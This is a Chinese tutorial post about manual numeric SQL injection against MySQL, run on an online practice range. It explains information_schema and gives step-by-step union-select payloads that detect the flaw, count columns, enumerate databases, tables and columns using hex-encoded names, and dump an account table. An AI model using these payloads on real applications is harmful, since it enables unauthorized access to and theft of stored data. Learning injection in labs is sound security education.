前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WEB 安全学习 一、mysql 注入漏洞

WEB 安全学习 一、mysql 注入漏洞

作者头像
梅花
发布2020-09-28 16:16:45
8230
发布2020-09-28 16:16:45
举报

转载: https://cloud.tencent.com/developer/article/1708089

一、Mysql数据库结构

    数据库A

        表名

          列名

             数据

    数据库B

        表名

          列名

             数据

Mysql5.0以上自带数据库:information_schema

information_schema:存储mysql下所有信息的数据库(数据库名,表名,列名)

参数及解释

database():数据库名

user():数据库用户

version():数据库版本

@@version_compile_os:操作系统

符号“.”代表下一级的意思

information_schema.tables:

information_schema数据库下的tables表名,含义:存储所有数据库下的表名信息的表。

information_schema.columns:

information_schema数据库下的columns表名,含义:存储所有数据库下的列名信息的表。

Table_schema:数据库名

Table_name:表名

Column_name:列名

下面使用手工 对 数字型sqli 注入漏洞进行注入

感谢 米斯特安全 提供的在线靶场

地址 :http://132.232.100.27:88/

输入1 返回正常

输入 1' 返回错误

输入 1+1 返回正常,存在数字型注入漏洞

(也可以使用 1 and 1=1 返回正常)

(1 and 1=2 来进行判断 如果 1=1 返回正常页面 1=2 返回错误页面存在注入漏洞)

SELECT * FROM news WHERE id = 1 and 1=2

SELECT * FROM news WHERE id = 1 and 1=2

查询表中的字段数 (也可以使用order by 我这里使用的是union select)

在input 中输入1 union select 1,2,3 返回正常页面

在input 中输入1 union select 1,2,3,4 返回错误页面

说明 该表中有3个字段

SELECT * FROM news WHERE id = 1 union select 1,2,3

查询相关内容:

可以在显位的位置插入的预设函数;

User() 查看用户

database() --查看数据库名称

Version() --查看数据库版本

@@datadir --数据库路径

@@version_compile_os--操作系统版本

system_user() --系统用户名

current_user()--当前用户名

session_user()--连接数据库的用户名

下面使用 database(),user(),version() 来替换其中的 1,2,3就可分别看见 数据库中的 数据库名 用户 版本

查询数据库 -1 union select 1,database(),3

可以查出数据库的名称就:pentest

group_concat语法:

group_concat(DISTINCT 要连接的字段 Order BY ASC/DESC 排序字段)

查询所有的数据库

-1 union select 1,group_concat(schema_name),3 from information.schemata

注意 改变的时候 不要将 1 替换 ,好像没有查询 字段1,如果替换字段1 是没有反应的

可以查出 数据库中 有 information_schema,mysql,pentest,performance_schema 等库

查询出来数据库,那么下一步 我们就查询 pentest 数据库下的数据表

  查询 = 数据库名的时候 需要将数据库的名称为16进制编码,提供一个编码转换的地址(https://www.bejson.com/convert/ox2str/

  pentest =====> 0x70656e74657374

  在输入框中输入 -1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x70656e74657374

  查询结果如下

  pentest数据库中 有两个表分别为 account 和 news

  下面查询 account表中的列

     account转换为 16进制

     account ------->>>> 0x6163636f756e74  

  下一步 查询 account表中的列名

    在输入框中输入

      -1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name =0x6163636f756e74

代码语言:txt
复制
 查询结果如下 : 有三个 字段  Id  rest  own

最后一步,查询表中的数据

    -1 union select 1,rest,own from account

    最终查询出来的结果为

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-08-02 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档